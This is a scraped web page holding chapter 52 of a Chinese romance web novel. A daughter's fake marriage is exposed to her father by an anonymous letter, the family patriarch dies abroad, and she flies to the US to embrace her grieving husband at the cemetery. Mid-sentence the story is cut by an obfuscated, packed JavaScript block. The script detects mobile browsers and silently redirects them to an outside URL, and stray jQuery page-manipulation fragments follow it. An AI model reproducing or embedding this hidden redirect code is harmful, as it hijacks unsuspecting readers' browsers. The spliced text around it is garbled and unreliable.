52. 隔世

作品:《遥至春潮

    隔年元月,老爷子的手术成功,再过一段时间,差不多就可以出院,打算长期在国外休养。


    董糯这边也快要放寒假,两个月前预约办理了美国签证,去大使馆顺利面试,签证就发下来了。


    买机票的那一晚董糯睡得早,深夜听到细微声响,惊醒后起身查看,丁珍豆正蹑手蹑脚地换鞋。


    听到起床的声音,她抬头,看见董糯从上铺探出头来,丁珍豆一脸歉意,“不好意思,把你吵醒了。”


    “没事,现在还不到十二点。”


    董糯重新躺下,问:“怎么现在才回来?”


    “在学院的自习室爆肝。”


    丁珍豆聊了一下论文进度,突然插了一句院长八卦:


    “蛮久没遇到卢院长,今天可把我惊到了,感觉他突然苍老了好多。我去上厕所,正好听到卢院长在过道里打电话。”


    董糯随意一问:“他说什么了?”


    “一副有苦说不出的样子,好像在交待院长夫人不要把丑事闹得人尽皆知。”


    丁珍豆清楚地记得其中一句:“‘盯住了,别让卢溪再去纠缠姓程的’——这是院长的原话,我猜可能是他闺女惹麻烦了。”


    卢溪和程天曲发生的事,董糯没跟丁珍豆细说,只是重新躺下,眼神有些迷茫。


    丁珍豆问:“怎么不说话?”


    “嗯,发会儿呆。”


    董糯转了个身,侧躺着说:“签证已经办下来了,我买了下周的机票。”


    “你要去美国?”


    丁珍豆惊讶,“你老公知道吗?”


    “先不跟他说。”


    董糯掖了掖被子,“等下了飞机再告诉他。”


    丁珍豆赞成,“这个惊喜蛮好,程老爷子一见到你,甭说出院了,直接可以启程回国。”


    董糯抿抿唇,“老人家可能不太愿意回国。”


    因为程天曲一直在国内,老爷子不想见到他,他也不敢出国陪护尽孝。


    “不管怎么样,你和程鹭寻总算要结束异地,太不容易了。”


    丁珍豆说着话,拎起热水瓶和脸盆准备洗漱,正好这时董糯的手机响了。


    是董玉峰打过来的。


    董糯划到接听键:


    “爸爸,还没睡呢?”


    “在加班,年底了法院的事情多,你爸我最近没日没夜的审理案子。”


    董玉峰百忙之中一直不忘劝阻董糯:


    “乖宝,能不能把机票退了,你妈妈舍不得你,春节还是回老家吧。”


    “爸,我不是和你们说过了嘛,亲家爷爷在美国治病,我应该去看望一下,而且寒假过半我就回来了,到时候我和程鹭寻一起回娘家,行吗?。”


    那头瞬间安静,声音沉下来,微微质疑:


    “他有空吗,平常比我们法官还忙的样子。不来也罢,我都行的。”


    董玉峰这个语气,董糯也有些不安。


    “爸爸,去年我们全家春节旅行,他就很想加入的,当时你只留他吃了一顿饭。”


    “有吗,忘了。”


    董玉峰打开工作邮箱,有一封匿名邮件,他边点开,边冷声跟董糯讲电话:


    “不说了,我明早要开庭。”


    话音落下,董玉峰习惯性地等她先道晚安,他举着手机,同时一目十行的浏览那封匿名邮件——


    信里的文字都认识,可却让人有点看不太懂。


    董玉峰凝神,又重新看了一遍,随后震惊不已,锐利的鹰眼渐渐暗沉下去。


    赶在董糯挂断的前一秒,他在电话里厉声质问:


    “董糯,你和程鹭寻是假结婚?!”


    董糯的脑子顿时炸了,“没有啊!!!”


    “你还不承认!”


    “不是,爸爸你先听我解释。”


    董玉峰拿出法庭上的威严口吻,令道:


    “你只要告诉我,你有没有骗我?!”


    “有过,但是后来我们……”


    “你怎么敢的?!”


    董玉峰肃声透着心寒:“你怎么会做出这种事情,跟所谓的‘丈夫’合起伙来骗爸爸?!”


    “当初是因为你们催我结婚,我才……”


    “你还怪到我和你妈头上?我们催你,所以你就耍交易骗家里人,你这种阳奉阴违的行为,简直无耻!本科毕业的工作也是这样乱搞胡来,我让你子承父业,结果你学了法,就跑去帮有钱人打官司赚黑心钱,你简直要气死我!”


    “两码事。”


    “够了!我手头这封匿名信写得很清楚,就是你搞假结婚,这次把程家老爷子气出重病。”


    董玉峰感到失望透顶,怒不可遏地勒令:


    “你和程鹭寻立刻离婚!!!”


    电话蓦地挂断。


    董糯的心情跌到谷底,电话微信对方统统不接,给妈妈打电话,也是关机中。


    到了天亮,妈妈才回电,一开口便是“你爸昨天气得住院了!你怎么回事?!婚可以不结,但不能骗爸妈啊!”


    董糯百口莫辩。


    一想到他爸收到的那封匿名信,更是恨不得锤死程天曲。


    结果,她还没找他算账,他自己找上门来了。


    出发去美国的那天,正好撞上大寒这个节气,董糯突然接到了程天曲的电话。


    他口口声声指责董糯故意泄露在先,让卢溪知道了□□的真相,害得他被神经病纠缠,也害得爷爷心脏病又犯,都是董糯害得程家鸡犬不宁……


    所以他就故意跟董玉峰揭发了假结婚的事。


    董糯顿时火气冲出天灵盖,大骂回去:


    “你个败类!!!是你搅得全世界不得安宁,让奶奶包庇、让堂兄背锅、让堂嫂保密、让爷爷气倒!等我有空收拾你,必须抓你坐牢!”


    听到“坐牢”二字,程天曲又猜测是董糯唆使爷爷改遗嘱一毛钱也不留给他,他立刻开始死鱼网破。


    “你是什么鬼嫂子?!假的也配?反正我没把爷爷气死,倒要看看,爷爷会不会被你俩气死!我明儿就去跟爷爷说你们是假结婚!”


    “你敢!!!”


    电话蓦地挂断,董糯脑子一片空白。


    站在原地快速想好了如何应对,却已经没有什么用……


    因为就在前一夜,程树繁突然去世了。


    老爷子到死都不肯见程天曲,连声音也一点都不想听到。


    他回光返照的日子里,只恨无法亲手处决了这个孽畜,程天曲的丑事虽然并未公开,但老人家这辈子从未如此羞愤,遂交待后事:遗骸就地掩埋,愧于回国。


    接到宁凤金艰涩绝望的电话时,董糯泪如泉涌。


    她一路奔回宿舍,带上那套送给爷爷的相机礼物,拿起签证,去机场重新买了张机票。


    这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472711|165408||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是董糯第一次出国。


    第一次,独自一个人,去到那么远的地方。


    一下飞机,董糯便给程鹭寻打了个电话。


    她在飞机上哭了一路,这会儿已经再哭不出来,眼睛红肿着,只说出来这么一句话。


    “我陪着你。”


    程鹭寻微怔地嗯了声。


    董糯小心翼翼地留意他的声音,替他难过,又因为他的平静有些不知所措。


    程鹭寻反而安慰起她,缓慢说着:


    “我没事,没有很难过。”


    毕竟早就知道会有这一天,早晚而已。为了不让董糯担心,他之前断断续续给她发送的消息并不准确。


    其实,合适的心脏捐赠迟迟未遇,爷爷术后恢复情况也不理想,医生一早就让程鹭寻做好心理准备。


    宣布抢救无效的那一刻,他内心反而没什么起伏。


    有的只是空,四肢内脏都被掏走了一样。


    斜风细雨,他麻木地站在墓园门口,向父亲要了支烟,橘紫色的火光刚冒出来就被浇灭。


    一切归于沉寂。


    董糯置身在昏暗的迈巴赫里,心头又涌出密密匝匝的悲伤,几欲哭出来,大约过了二十分钟,车外途径一大排漆黑压抑的豪车。


    绵长的车阵延伸到墓园门口,迈巴赫停稳后,她从车中走下来。


    程鹭寻穿着黑色大衣立在那儿,绷得紧紧的,整个人都瘦了,下颌是一片蟹青色的胡须,周身泛着死寂,晦暗的身形像一道影子。


    隔着马路,两人遥望,仿若隔世。


    董糯感觉心脏好像被攥住了,看见程鹭寻幽暗的神色在伞下更显孤寂,吊唁的宾客越是纷至沓来,他的淡然越让她心疼。


    急促的情绪在胸腔汹涌,喉咙哽得更加发苦。


    黑伞倏然掉落,她不管不顾地跑过去,张开双手,紧紧抱住他。


    这一刹那,程鹭寻不知道如何去形容,像是濒临溺毙的瞬间,枯肢残骸突然被复苏。


    他弯下腰额头抵在她的肩膀,因为身高差距,他背也佝偻着,声音清寒沙哑:


    “你来了。”


    真真切切地感觉到是她,程鹭寻的脸深埋在她的颈窝处,像是噩梦初醒一般,忽地喊她:


    “……糯糯。”


    “嗯。”


    “爷爷已经没了。”


    “我知道。”


    董糯哽咽着,“你还有我,我们还有一个家。”


    程鹭寻的喉结上下滑了滑,仿佛在抑制着什么情绪,半晌,才嚅嗫重复了一句:


    “……我还有你,我们还有一个家。”


    董糯的眼尾泛红,抱着他的力道加重,喃喃低语着:


    “我无法安慰你说不要难过。”


    因为,真的难过得要命。


    “我陪着你。我才是你真正的可爱花花,我一直在你身边陪你。”


    董糯下巴蹭了蹭他的肩膀,抬起手,耐心又温柔地轻拍着他的后背,感受到他的气息渐重,在她的颈侧落下了一滴冰凉。


    程鹭寻垂着眼睫,忆起这半年一刻不停的煎熬,直到今日看见董糯奔赴而来,她的声音她的拥抱,让他仿佛在茫然四顾的瞬间找到了光。


    度过艰涩岁月,从混沌走向清明。


    是啊,他不是孤身一人。


    他还有她。


    爱是一万一千一百公里的奔赴。